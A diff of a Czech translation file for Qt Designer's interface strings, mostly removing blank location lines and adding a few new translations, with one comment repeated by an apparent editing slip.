@@ -1316,12 +1120,10 @@
 
     ObjectNameDialog
     
-        
         Change Object Name
         Změnit název předmětu
     
     
-        
         Object Name
         Název předmětu
     
@@ -1329,12 +1131,10 @@
 
     PluginDialog
     
-        
         Plugin Information
         Přídavné moduly
     
     
-        
         1
         1
     
@@ -1342,7 +1142,6 @@
 
     PreferencesDialog
     
-        
         Preferences
         Nastavení
     
@@ -1350,32 +1149,26 @@
 
     PreviewConfigurationWidget
     
-        
         Form
         Formulář
     
     
-        
         Print/Preview Configuration
         Nastavení tisku/náhledu
     
     
-        
         Style
         Styl
     
     
-        
         Style sheet
         Předlohový list
     
     
-        
         ...
         ...
     
     
-        
         Device skin
         Vzhled pro zařízení
     
@@ -1383,7 +1176,6 @@
 
     PromotionModel
     
-        
         Not used
         Usage of promoted widgets
         Nepoužívaný
@@ -1392,8 +1184,6 @@
 
     Q3WizardContainer
     
-        
-        
         Page
         Strana
     
@@ -1401,58 +1191,47 @@
 
     QAbstractFormBuilder
     
-        
         Unexpected element <%1>
         Neplatný prvek <%1>
     
     
-        
         An error has occurred while reading the UI file at line %1, column %2: %3
         Chyba při čtení souboru s rozhraním, řádek %1, sloupec %2: %3
     
     
-        
         Invalid UI file: The root element <ui> is missing.
         Chyba při čtení souboru s rozhraním: Kořenový prvek <ui> chybí.
     
     
-        
         The creation of a widget of the class '%1' failed.
         Nepodařilo se vytvořit žádný prvek třídy '%1'.
     
     
-        
         Attempt to add child that is not of class QWizardPage to QWizard.
         Pokus o přidání strany předmětu třídy QWizard, která není typu QWizardPage.
     
     
-        
         Attempt to add a layout to a widget '%1' (%2) which already has a layout of non-box type %3.
 This indicates an inconsistency in the ui-file.
         Pokus o přidání rozvržení na prvek '%1' (%2), který již má rozvržení typu %3 hat. Ukazuje to na nesrovnalost v souboru s rozhraním.
     
     
-        
         Empty widget item in %1 '%2'.
         Prázdná položka prvku v %1 '%2'.
     
     
-        
         Flags property are not supported yet.
         Vlastnosti typu "příznak" nejsou podporovány.
     
     
-        
         While applying tab stops: The widget '%1' could not be found.
         Chyba při stanovení pořadí tabulátorů: Nepodařilo se nalézt žádný prvek s názvem '%1'.
     
     
-        
         Invalid QButtonGroup reference '%1' referenced by '%2'.
         Neplatný odkaz na skupinu tlačítek '%1', odkazováno '%2'.
     
     
-        
         This version of the uitools library is linked without script support.
         Tato verze knihovny uitools nepodporuje skripty.
     
@@ -1460,12 +1239,10 @@ This indicates an inconsistency in the ui-file.
 
     QAxWidgetPlugin
     
-        
         ActiveX control
         Ovládací prvek ActiveX
     
     
-        
         ActiveX control widget
         Ovládací prvek ActiveX
     
@@ -1473,22 +1250,18 @@ This indicates an inconsistency in the ui-file.
 
     QAxWidgetTaskMenu
     
-        
         Set Control
         Nastavit ovládací prvek
     
     
-        
         Reset Control
         Nastavit znovu ovládací prvek
     
     
-        
         Licensed Control
         Licencovaný ovládací prvek
     
     
-        
         The control requires a design-time license
         Ovládací prvek vyžaduje licenci k času návrhu
     
@@ -1496,67 +1269,54 @@ This indicates an inconsistency in the ui-file.
 
     QCoreApplication
     
-        
         %1 is not a promoted class.
         %1 není zástupným symbolem pro uživatelsky stanovenou třídu.
     
     
-        
         The base class %1 is invalid.
         %1 není platnou základní třídou.
     
     
-        
         The class %1 already exists.
         Již existuje třída s názvem %1.
     
     
-        
         Promoted Widgets
         Zástupný symbol pro uživatelsky stanovené prvky
     
     
-        
         The class %1 cannot be removed
         Třída %1 nemůže být odstraněna
     
     
-        
         The class %1 cannot be removed because it is still referenced.
         Třída %1 nemůže být odstraněna, protože se stále používá.
     
     
-        
         The class %1 cannot be renamed
         Třída %1 nemůže být přejmenována
     
     
-        
         The class %1 cannot be renamed to an empty name.
         Název pro třídu nemůže zůstat prázdný (%1).
     
     
-        
         There is already a class named %1.
         Již existuje třída s názvem %1.
     
     
-        
         Cannot set an empty include file.
         Název pro hlavičkový soubor nemůže zůstat prázdný.
     
     
-        
         Exception at line %1: %2
         Chyba výjimky na řádku %1: %2
     
     
-        
         Unknown error
         Neznámá chyba
     
     
-        
         An error occurred while running the script for %1: %2
 Script: %3
         Při provádění skriptu pro %1 se vyskytla chyba: %2Skript: %3
@@ -1565,17 +1325,14 @@ Script: %3
 
     QDesigner
     
-        
         %1 - warning
         %1 - Upozornění
     
     
-        
         Qt Designer
         Qt Designer
     
     
-        
         This application cannot be used for the Console edition of Qt
         Tato aplikace se nedá používat pro konzolové vydání Qt
     
@@ -1583,207 +1340,162 @@ Script: %3
 
     QDesignerActions
     
-        
         Edit Widgets
         Upravit prvky
     
     
-        
         &Quit
         &Ukončit
     
     
-        
         &Minimize
         &Zmenšit
     
     
-        
         Bring All to Front
         Ukázat všechny formuláře
     
     
-        
         Preferences...
         Nastavení...
     
     
-        
         Clear &Menu
         Smazat &nabídku
     
     
-        
         CTRL+SHIFT+S
         CTRL+SHIFT+S
     
     
-        
         CTRL+R
         CTRL+R
     
     
-        
         CTRL+M
         CTRL+M
     
     
-        
         Qt Designer &Help
         &Nápověda k programu Qt Designer
     
     
-        
         Current Widget Help
         Nápověda k vybranému prvku
     
     
-        
         What's New in Qt Designer?
         Co je nového v programu Qt Designer?
     
     
-        
         About Plugins
         Přídavné moduly
     
     
-        
-        
         About Qt Designer
         O programu Qt Designer
     
     
-        
         About Qt
         O Qt
     
     
-        
-        
         Open Form
         Otevřít formulář
     
     
-        
-        
-        
         Designer UI files (*.%1);;All Files (*)
         Soubory rozhraní programu Designer (*.%1);;Všechny soubory (*)
     
     
-        
         %1 already exists.
 Do you want to replace it?
         Soubor %1 již existuje.
 Chcete jej nahradit?
     
     
-        
         Saved %1.
         Formulář %1 byl uložen.
     
     
-        
         &Recent Forms
         &Naposledy otevřené formuláře
     
     
-        
         Designer
         Designer
     
     
-        
         Feature not implemented yet!
         Tato funkce ještě není provedena!
     
     
-        
         Read error
         Chyba při čtení
     
     
-        
         %1
 Do you want to update the file location or generate a new form?
         %1
 Chcete zadat jiný název pro soubor, nebo vytvořit nový formulář?
     
     
-        
         &Update
         &Jiný název
     
     
-        
         &New Form
         &Nový formulář
     
     
-        
-        
         Save Form?
         Uložit formulář?
     
     
-        
         Could not open file
         Soubor se nepodařilo otevřít
     
     
-        
-        
         The backup file %1 could not be written.
         Ukládání na pozadí: Soubor se zálohou %1 se nepodařilo zapsat.
     
     
-        
         The backup directory %1 could not be created.
         Ukládání na pozadí: Adresář se zálohou %1 se nepodařilo.
     
     
-        
         The temporary backup directory %1 could not be created.
         Ukládání na pozadí: Dočasný adresář se zálohou %1 se nepodařilo.
     
     
-        
         Please close all forms to enable the loading of additional fonts.
         Zavřete, prosím, všechny formuláře kvůli umožnění nahrání dodatečných písem.
     
     
-        
         Select New File
         Vybrat nový soubor
     
     
-        
         Could not write file
         Soubor se nepodařilo zapsat
     
     
-        
         &Close Preview
         &Zavřít náhled
     
     
-        
         Save &Image...
         &Uložit obraz...
     
     
-        
         &Print...
         &Tisk...
     
     
-        
         Additional Fonts...
         Dodatečná písma...
     
     
-        
         The file %1 could not be opened.
 Reason: %2
 Would you like to retry or select a different file?
@@ -1792,7 +1504,6 @@ Would you like to retry or select a different file?
 Chcete to zkusit ještě jednou, nebo vybrat jiný soubor?
     
     
-        
         It was not possible to write the entire file %1 to disk.
 Reason:%2
 Would you like to retry?
@@ -1801,96 +1512,74 @@ Důvod: %2
 Chcete to zkusit ještě jednou?
     
     
-        
         Image files (*.%1)
         Soubory s obrazem (*.%1)
     
     
-        
-        
         Save Image
         Uložit obraz
     
     
-        
         The file %1 could not be written.
         Soubor %1 se nepodařilo zapsat.
     
     
-        
         &New...
         &Nový...
     
     
-        
         &Open...
         &Otevřít...
     
     
-        
         &Save
         &Uložit
     
     
-        
         Save &As...
         Uložit &jako...
     
     
-        
         Save A&ll
         &Uložit vše
     
     
-        
         Save As &Template...
         Uložit jako &předlohu...
     
     
-        
-        
         &Close
         &Zavřít
     
     
-        
         View &Code...
         Ukázat &kód...
     
     
-        
-        
         Save Form As
         Uložit formulář jako
     
     
-        
         Preview failed
         Nepodařilo se vytvořit žádný náhled
     
     
-        
         Code generation failed
         Nepodařilo se vytvořit žádný kód
     
     
-        
-        
         Assistant
         Assistant
     
     
-        
         Saved image %1.
         Obraz byl uložen pod %1.
     
     
-        
         Printed %1.
         %1 byl vytištěn.
     
     
-        
         ALT+CTRL+S
         ALT+CTRL+S
     
@@ -1898,7 +1587,6 @@ Chcete to zkusit ještě jednou?
 
     QDesignerAppearanceOptionsPage
     
-        
         Appearance
         Tab in preferences dialog
         Vzhled
@@ -1907,17 +1595,14 @@ Chcete to zkusit ještě jednou?
 
     QDesignerAppearanceOptionsWidget
     
-        
         Docked Window
         Režim ukotveného okna
     
     
-        
         Multiple Top-Level Windows
         Režim více oken
     
     
-        
         Toolwindow Font
         Písmo pro okno s nástroji
     
@@ -1925,22 +1610,18 @@ Chcete to zkusit ještě jednou?
 
     QDesignerAxWidget
     
-        
         Reset control
         Nastavit znovu ovládací prvek
     
     
-        
         Set control
         Nastavit ovládací prvek
     
     
-        
         Control loaded
         Ovládací prvek nahrán
     
     
-        
         A COM exception occurred when executing a meta call of type %1, index %2 of "%3".
         Při vyvolání postupu typu %1 se vyskytla výjimka COM, rejstřík %2 "%3".
     
@@ -1948,17 +1629,14 @@ Chcete to zkusit ještě jednou?
 
     QDesignerFormBuilder
     
-        
         Script errors occurred:
         Vyskytly se chyby ve skriptech:
     
     
-        
         The preview failed to build.
         Nepodařilo se vytvořit žádný náhled.
     
     
-        
         Designer
         Designer
     
@@ -1966,22 +1644,18 @@ Chcete to zkusit ještě jednou?
 
     QDesignerFormWindow
     
-        
         %1 - %2[*]
         %1 - %2[*]
     
     
-        
         Save Form?
         Uložit formulář?
     
     
-        
         Do you want to save the changes to this document before closing?
         Chcete v tomto formuláři uložit před zavřením změny?
     
     
-        
         If you don't save, your changes will be lost.
         Pokud neprovedete uložení, budou vaše změny ztraceny. 
     
@@ -1989,38 +1663,30 @@ Chcete to zkusit ještě jednou?
 
     QDesignerMenu
     
-        
         Type Here
         Zadejte text
     
     
-        
         Add Separator
         Přidat oddělovač
     
     
-        
         Insert separator
         Vložit oddělovač
     
     
-        
         Remove action '%1'
         Odstranit činnost '%1'
     
     
-        
         Remove separator
         Odstranit oddělovač
     
     
-        
-        
         Add separator
         Přidat oddělovač
     
     
-        
         Insert action
         Vložit činnost
     
@@ -2028,22 +1694,18 @@ Chcete to zkusit ještě jednou?
 
     QDesignerMenuBar
     
-        
         Type Here
         Zadejte text
     
     
-        
         Remove Menu '%1'
         Odstranit nabídku '%1'
     
     
-        
         Remove Menu Bar
         Odstranit pruh s nabídkou
     
     
-        
         Menu
         Nabídka
     
@@ -2051,37 +1713,30 @@ Chcete to zkusit ještě jednou?
 
     QDesignerPluginManager
     
-        
         An XML error was encountered when parsing the XML of the custom widget %1: %2
         Chyba při vyhodnocování XML uživatelsky stanoveného prvku %1: %2
     
     
-        
         A required attribute ('%1') is missing.
         U prvku chybí vyžadovaná vlastnost ('%1').
     
     
-        
         An invalid property specification ('%1') was encountered. Supported types: %2
         '%1' není platným vymezením vlastnosti. Jsou podporovány následující typy: %2
     
     
-        
         '%1' is not a valid string property specification.
         '%1' není platným vymezením vlastnosti řetězce znaků.
     
     
-        
         The XML of the custom widget %1 does not contain any of the elements <widget> or <ui>.
         Kód XML pro prvek %1 neobsahuje platný kořenový prvek (<widget>, nebo <ui>).
     
     
-        
         The class attribute for the class %1 is missing.
         Chybí vlastnost třídy pro třídu %1.
     
     
-        
         The class attribute for the class %1 does not match the class name %2.
         Vlastnost třídy pro třídu %1 neodpovídá názvu třídy (%2).
     
@@ -2089,7 +1744,6 @@ Chcete to zkusit ještě jednou?
 
     QDesignerPropertySheet
     
-        
         Dynamic Properties
         Dynamické vlastnosti
     
@@ -2097,31 +1751,26 @@ Chcete to zkusit ještě jednou?
 
     QDesignerResource
     
-        
         The layout type '%1' is not supported, defaulting to grid.
         Typ rozvržení '%1' není podporován; bylo vytvořeno mřížkové rozvržení.
     
     
-        
         The container extension of the widget '%1' (%2) returned a widget not managed by Designer '%3' (%4) when queried for page #%5.
 Container pages should only be added by specifying them in XML returned by the domXml() method of the custom widget.
         Kontejnerové rozšíření prvku '%1' (%2) vrátilo pro stranu %5 prvek '%3' (%4), který není spravován programem Designer.
 Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu domXML() uživatelsky stanoveného prvku.
     
     
-        
         Unexpected element <%1>
         Parsing clipboard contents
         Neplatný prvek <%1>
     
     
-        
         Error while pasting clipboard contents at line %1, column %2: %3
         Parsing clipboard contents
         Chyba při vložení obsahu schránky, řádek %1, sloupec %2: %3
     
     
-        
         Error while pasting clipboard contents: The root element <ui> is missing.
         Parsing clipboard contents
         Chyba při vložení obsahu schránky: Kořenový prvek <ui> chybí.
@@ -2130,12 +1779,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QDesignerSharedSettings
     
-        
         The template path %1 could not be created.
         Adresář s předlohami %1 se nepodařilo zřídit.
     
     
-        
         An error has been encountered while parsing device profile XML: %1
         Při čtení XML profilu zařízení se vyskytla chyba: %1
     
@@ -2143,32 +1790,26 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QDesignerToolWindow
     
-        
         Property Editor
         Editor vlastností
     
     
-        
         Action Editor
         Editor činností
     
     
-        
         Object Inspector
         Ukazatel předmětů
     
     
-        
         Resource Browser
         Prohlížeč zdrojů
     
     
-        
         Signal/Slot Editor
         Editor signálů a zdířek
     
     
-        
         Widget Box
         Krabice s prvky
     
@@ -2176,97 +1817,78 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QDesignerWorkbench
     
-        
         &File
         &Soubor
     
     
-        
         F&orm
         F&ormulář
     
     
-        
         Preview in
         Náhled v
     
     
-        
         &Window
         &Okno
     
     
-        
         &Help
         &Nápověda
     
     
-        
         Edit
         Úpravy
     
     
-        
         Toolbars
         Nástrojové pruhy
     
     
-        
         Save Forms?
         Uložit formuláře?
     
     
-        
         &View
         &Pohled
     
     
-        
         &Settings
         &Nastavení
     
     
-        
         Widget Box
         Krabice s prvky
     
     
-        
         If you do not review your documents, all your changes will be lost.
         Změny budou ztraceny, pokud se na formuláře ještě jednou nepodíváte.
     
     
-        
         Discard Changes
         Zahodit změny
     
     
-        
         Review Changes
         Podívat se na změny
     
     
-        
         Backup Information
         Informace o ukládání na pozadí
     
     
-        
         The last session of Designer was not terminated correctly. Backup files were left behind. Do you want to load them?
         Designer zřejmě nebyl řádně ukončen; existují soubory z ukládání na pozadí. Chcete je nahrát?
     
     
-        
         The file <b>%1</b> could not be opened.
         Soubor <b>%1</b> se nepodařilo otevřít.
     
     
-        
         The file <b>%1</b> is not a valid Designer UI file.
         Soubor <b>%1</b> není platným souborem rozhraní programu Designer.
     
     
-        
         There are %n forms with unsaved changes. Do you want to review these changes before quitting?
         
             Formulář byl změněn, ale změny nebyl uloženy. Chcete se na tyto změny podívat předtím, než program ukončíte?
@@ -2278,92 +1900,86 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QFormBuilder
     
-        
         An empty class name was passed on to %1 (object name: '%2').
-        Empty class name passed to widget factory method
+        Empty class name passed to widget factory method
+----------
+Empty class name passed to widget factory method
+----------
+Empty class name passed to widget factory method
         Postupu %1 byl předán prázdný název třídy (název předmětu '%2').
     
     
-        
         QFormBuilder was unable to create a custom widget of the class '%1'; defaulting to base class '%2'.
         QFormBuilderu se nepodařilo vytvořit uživatelsky stanovený prvek třídy '%1'; byl vytvořen prvek základní třídy '%2'.
     
     
-        
         QFormBuilder was unable to create a widget of the class '%1'.
         QFormBuilderu se nepodařilo vytvořit předmět třídy '%1'.
     
     
-        
         The layout type `%1' is not supported.
         Rozvržení typu `%1' nejsou podporována.
     
     
-        
         The set-type property %1 could not be read.
         Vlastnost %1 se nepodařilo přečíst (typ: množství).
     
     
-        
         The enumeration-type property %1 could not be read.
         Vlastnost %1 se nepodařilo přečíst (typ: výčet).
     
     
-        
         Reading properties of the type %1 is not supported yet.
         Čtení vlastností typu %1 není podporováno.
     
     
-        
         The property %1 could not be written. The type %2 is not supported yet.
         Vlastnost %1 se nepodařilo zapsat, protože typ %2 není podporován.
     
+    
+        The enumeration-value '%1' is invalid. The default value '%2' will be used instead.
+        Výčtová hodnota '%1' je neplatná. Místo ní se použije výchozí hodnota '%2'.
+    
+    
+        The flag-value '%1' is invalid. Zero will be used instead.
+        Příznaková hodnota '%1' je neplatná. Místo ní se použije nulová hodnota.
+    
 
 
     QStackedWidgetEventFilter
     
-        
         Previous Page
         Předchozí strana
     
     
-        
         Next Page
         Další strana
     
     
-        
         Delete
         Smazat
     
     
-        
         Before Current Page
         Před nynější stranu
     
     
-        
         After Current Page
         Po nynější straně
     
     
-        
         Change Page Order...
         Změnit pořadí stran...
     
     
-        
         Change Page Order
         Změnit pořadí stran
     
     
-        
         Page %1 of %2
         Strana %1 z %2
     
     
-        
-        
         Insert Page
         Vložit stranu
     
@@ -2371,12 +1987,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QStackedWidgetPreviewEventFilter
     
-        
         Go to previous page of %1 '%2' (%3/%4).
         Jít na předchozí stranu %1 '%2' (%3/%4).
     
     
-        
         Go to next page of %1 '%2' (%3/%4).
         Jít na další stranu %1 '%2' (%3/%4).
     
@@ -2384,28 +1998,22 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QTabWidgetEventFilter
     
-        
         Delete
         Smazat
     
     
-        
         Before Current Page
         Před nynější stranu
     
     
-        
         After Current Page
         Po nynější straně
     
     
-        
         Page %1 of %2
         Strana %1 z %2
     
     
-        
-        
         Insert Page
         Vložit stranu
     
@@ -2413,37 +2021,30 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QToolBoxHelper
     
-        
         Delete Page
         Smazat stranu
     
     
-        
         Before Current Page
         Před nynější stranu
     
     
-        
         After Current Page
         Po nynější straně
     
     
-        
         Change Page Order...
         Změnit pořadí stran...
     
     
-        
         Change Page Order
         Změnit pořadí stran
     
     
-        
         Page %1 of %2
         Strana %1 z %2
     
     
-        
         Insert Page
         Vložit stranu
     
@@ -2451,15 +2052,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtBoolEdit
     
-        
-        
-        
         True
         Pravdivý
     
     
-        
-        
         False
         Nepravdivý
     
@@ -2467,12 +2063,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtBoolPropertyManager
     
-        
         True
         Pravdivý
     
     
-        
         False
         Nepravdivý
     
@@ -2480,7 +2074,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtCharEdit
     
-        
         Clear Char
         Smazat znak
     
@@ -2488,7 +2081,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtColorEditWidget
     
-        
         ...
         ...
     
@@ -2496,22 +2088,18 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtColorPropertyManager
     
-        
         Red
         Červená
     
     
-        
         Green
         Zelená
     
     
-        
         Blue
         Modrá
     
     
-        
         Alpha
         Alfa
     
@@ -2519,97 +2107,78 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtCursorDatabase
     
-        
         Arrow
         Šipka
     
     
-        
         Up Arrow
         Šipka nahoru
     
     
-        
         Cross
         Křížící se čáry
     
     
-        
         Wait
         Přesýpací hodiny
     
     
-        
         IBeam
         I trámec
     
     
-        
         Size Vertical
         Zvětšit svisle
     
     
-        
         Size Horizontal
         Zvětšit vodorovně
     
     
-        
         Size Backslash
         Zvětšit zpětné/obrácené lomítko
     
     
-        
         Size Slash
         Zvětšit lomítko
     
     
-        
         Size All
         Zvětšit vše
     
     
-        
         Blank
         Prázdný
     
     
-        
         Split Vertical
         Rozdělit svisle
     
     
-        
         Split Horizontal
         Rozdělit vodorovně
     
     
-        
         Pointing Hand
         Ukazující ruka
     
     
-        
         Forbidden
         Zakázáno
     
     
-        
         Open Hand
         Otevřená ruka
     
     
-        
         Closed Hand
         Zavřená ruka
     
     
-        
         What's This
         A co je toto
     
     
-        
         Busy
         Zaneprázdněn
     
@@ -2617,12 +2186,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtFontEditWidget
     
-        
         ...
         ...
     
     
-        
         Select Font
         Vybrat písmo
     
@@ -2630,37 +2197,30 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtFontPropertyManager
     
-        
         Family
         Písmová rodina
     
     
-        
         Point Size
         Bodová velikost
     
     
-        
         Bold
         Tučné
     
     
-        
         Italic
         Kurzíva
     
     
-        
         Underline
         Podtržení
     
     
-        
         Strikeout
         Přeškrtnuté
     
     
-        
         Kerning
         Podřezávání
     
@@ -2668,7 +2228,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtGradientDialog
     
-        
         Edit Gradient
         Upravit přechod
     
@@ -2676,304 +2235,242 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtGradientEditor
     
-        
         Start X
         Začáteční hodnota x
     
     
-        
         Start Y
         Začáteční hodnota y
     
     
-        
         Final X
         Koncová hodnota x
     
     
-        
         Final Y
         Koncová hodnota y
     
     
-        
-        
         Central X
         Střed x
     
     
-        
-        
         Central Y
         Střed y
     
     
-        
         Focal X
         Ohnisko x
     
     
-        
         Focal Y
         Ohnisko y
     
     
-        
         Radius
         Poloměr
     
     
-        
         Angle
         Úhel
     
     
-        
         Linear
         Přímočarý
     
     
-        
         Radial
         Paprskovitý
     
     
-        
         Conical
         Kuželovitý
     
     
-        
         Pad
         Doplnit
     
     
-        
         Repeat
         Opakovat
     
     
-        
         Reflect
         Zrcadlit
     
     
-        
         Form
         Formulář
     
     
-        
         Gradient Editor
         Úpravy přechodů
     
     
-        
         1
         1
     
     
-        
         2
         2
     
     
-        
         3
         3
     
     
-        
         4
         4
     
     
-        
         5
         5
     
     
-        
         Gradient Stops Editor
         Editor bodů zastavení přechodu
     
     
-        
         This area allows you to edit gradient stops. Double click on the existing stop handle to duplicate it. Double click outside of the existing stop handles to create a new stop. Drag & drop the handle to reposition it. Use right mouse button to popup context menu with extra actions.
         Tato oblast slouží pro úpravy bodů zastavení přechodu. Dvakrát klepněte na orientační bod kvůli jeho zdvojení. Dvakrát klepněte na plochu kvůli vytvoření nového orientačního bodu. Použijte tažení & upuštění pro posunutí bodu. Pravým tlačítkem myši se vyvolává nabídka s dalšími souvisejícími volbami.
     
     
-        
         Zoom
         Zvětšení
     
     
-        
         Position
         Poloha
     
     
-        
         Hue
         Barevný odstín
     
     
-        
         H
         H
     
     
-        
         Saturation
         Sytost
     
     
-        
         S
         S
     
     
-        
         Sat
         Sytost
     
     
-        
         Value
         Hodnota
     
     
-        
         V
         V
     
     
-        
         Val
         Hodnota
     
     
-        
         Alpha
         Alfa
     
     
-        
         A
         A
     
     
-        
         Type
         Typ
     
     
-        
         Spread
         Rozšiřování
     
     
-        
         Color
         Barva
     
     
-        
         Current stop's color
         Barva nynějšího zastavení
     
     
-        
         HSV
         HSV
     
     
-        
         RGB
         RGB
     
     
-        
         Current stop's position
         Poloha nynějšího zastavení
     
     
-        
         %
         %
     
     
-        
         Zoom In
         Přiblížit
     
     
-        
         Zoom Out
         Oddálit
     
     
-        
         Toggle details extension
         Zařadit další volby
     
     
-        
         >
         >
     
     
-        
         Linear Type
         Přímočarý typ
     
     
-        
         ...
         ...
     
     
-        
         Radial Type
         Paprskovitý typ
     
     
-        
         Conical Type
         Kuželovitý typ
     
     
-        
         Pad Spread
         Doplnit rozšiřování
     
     
-        
         Repeat Spread
         Opakovat rozšiřování
     
     
-        
         Reflect Spread
         Zrcadlit rozšiřování
     
     
-        
         This area shows a preview of the gradient being edited. It also allows you to edit parameters specific to the gradient's type such as start and final point, radius, etc. by drag & drop.
         tato oblast ukazuje náhled právě upravovaného přechodu. Zde můžete upravovat proměnné příznačné pro přechod, jako začáteční a koncový bod, poloměr etd. pomocí tažení a pouštění.
     
     
-        
         Show HSV specification
         Ukázat přesné vymezení HSV
     
     
-        
         Show RGB specification
         Ukázat přesné vymezení RGB
     
     
-        
         Reset Zoom
         Nastavit znovu zvětšení
     
@@ -2981,37 +2478,30 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtGradientStopsWidget
     
-        
         New Stop
         Nové zastavení
     
     
-        
         Delete
         Smazat
     
     
-        
         Flip All
         Obrátit vše
     
     
-        
         Select All
         Vybrat vše
     
     
-        
         Zoom In
         Zvětšit
     
     
-        
         Zoom Out
         Zmenšit
     
     
-        
         Reset Zoom
         Nastavit znovu zvětšení
     
@@ -3019,46 +2509,34 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtGradientView
     
-        
         Grad
         Přechod
     
     
-        
         Remove Gradient
         Odstranit přechod
     
     
-        
         Are you sure you want to remove the selected gradient?
         Opravdu chcete odstranit vybraný přechod?
     
     
-        
-        
         New...
         Nový...
     
     
-        
-        
         Edit...
         Upravit...
     
     
-        
-        
         Rename
         Přejmenovat
     
     
-        
-        
         Remove
         Odstranit
     
     
-        
         Gradient View
         Pohled na přechod
     
@@ -3066,7 +2544,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtGradientViewDialog
     
-        
         Select Gradient
         Vybrat přechod
     
@@ -3074,7 +2551,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtKeySequenceEdit
     
-        
         Clear Shortcut
         Smazat klávesové zkratky
     
@@ -3082,17 +2558,18 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtLocalePropertyManager
     
-        
+        <Invalid>
+        <Neplatný>
+    
+    
         %1, %2
         %1, %2
     
     
-        
         Language
         Jazyk
     
     
-        
         Country
         Země
     
@@ -3100,17 +2577,14 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtPointFPropertyManager
     
-        
         (%1, %2)
         (%1, %2)
     
     
-        
         X
         X
     
     
-        
         Y
         Y
     
@@ -3118,17 +2592,14 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtPointPropertyManager
     
-        
         (%1, %2)
         (%1, %2)
     
     
-        
         X
         X
     
     
-        
         Y
         Y
     
@@ -3136,12 +2607,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtPropertyBrowserUtils
     
-        
         [%1, %2, %3] (%4)
         [%1, %2, %3] (%4)
     
     
-        
         [%1, %2]
         [%1, %2]
     
@@ -3149,27 +2618,22 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtRectFPropertyManager
     
-        
         [(%1, %2), %3 x %4]
         [(%1, %2), %3 x %4]
     
     
-        
         X
         X
     
     
-        
         Y
         Y
     
     
-        
         Width
         Šířka
     
     
-        
         Height
         Výška
     
@@ -3177,27 +2641,22 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtRectPropertyManager
     
-        
         [(%1, %2), %3 x %4]
         [(%1, %2), %3 x %4]
     
     
-        
         X
         X
     
     
-        
         Y
         Y
     
     
-        
         Width
         Šířka
     
     
-        
         Height
         Výška
     
@@ -3205,33 +2664,26 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
 
     QtResourceEditorDialog
     
-        
         Edit Resources
         Upravit zdroje
     
     
-        
         New...
         Nový...
     
     
-        
-        
         New Resource File
         Nový zdrojový soubor
     
     
-        
         <p><b>Warning:</b> The file</p><p>%1</p><p>is outside of the current resource file's parent directory.</p>
         <p><b>Upozornění:</b><p>Zvolený soubor: </p><p>%1</p><p>se nachází mimo adresář se nynějším zdrojovým souborem:</p>
     
     
-        
         <p>To resolve the issue, press:</p><table><tr><th align="left">Copy</th><td>to copy the file to the resource file's parent directory.</td></tr><tr><th align="left">Copy As...</th><td>to copy the file into a subdirectory of the resource file's parent directory.</td></tr><tr><th align="left">Keep</th><td>to use its current location.</td></tr></table>
         <p>Zvolte, prosím:</p><table><tr><th align="left">Kopírovat</th><td>pro zkopírování souboru do adresáře se zdrojovým souborem.</td></tr><tr><th align="left">Kopírovat jako...</th><td>pro zkopírování souboru do podadresáře se zdrojovým souborem.</td></tr><tr><th align="left">Zachovat</th><td>, aby se soubor používal ve svém nynějším adresáři.</td></tr></table>
     
     
-        
         Could not copy
 %1
 to
@@ -3242,248 +2694,192 @@ zu:
 %2
     
     
-        
         A parse error occurred at line %1, column %2 of %3:
 %4
         V souboru %3 se na řádku %1, v sloupci %2 vyskytla chyba:
  %4
     
     
-        
         Open...
         Otevřít...
     
     
-        
-        
         Remove
         Odstranit
     
     
-        
-        
         Move Up
         Posunout nahoru
     
     
-        
-        
         Move Down
         Posunout dolů
     
     
-        
-        
         Add Prefix
         Přidat předponu
     
     
-        
         Add Files...
         Přidat soubory...
     
     
-        
         Change Prefix
         Změnit předponu
     
     
-        
         Change Language
         Změnit jazyk
     
     
-        
         Change Alias
         Změnit přezdívku
     
     
-        
         Clone Prefix...
         Zdvojit předponu...
     
     
-        
         Prefix / Path
         Předpona/Cesta
     
     
-        
         Language / Alias
         Jazyk/Přezdívka
     
     
-        
         <html><p><b>Warning:</b> There have been problems while reloading the resources:</p><pre>%1</pre></html>
         <html><p><b>Varování:</b> Při opětovném nahrání souboru se vyskytly chyby:</p><pre>%1</pre></html>
     
     
-        
         Resource Warning
         Zdroje - Varování
     
     
-        
         Dialog
         Dialog
     
     
-        
         New File
         Nový soubor
     
     
-        
         N
         N
     
     
-        
         Remove File
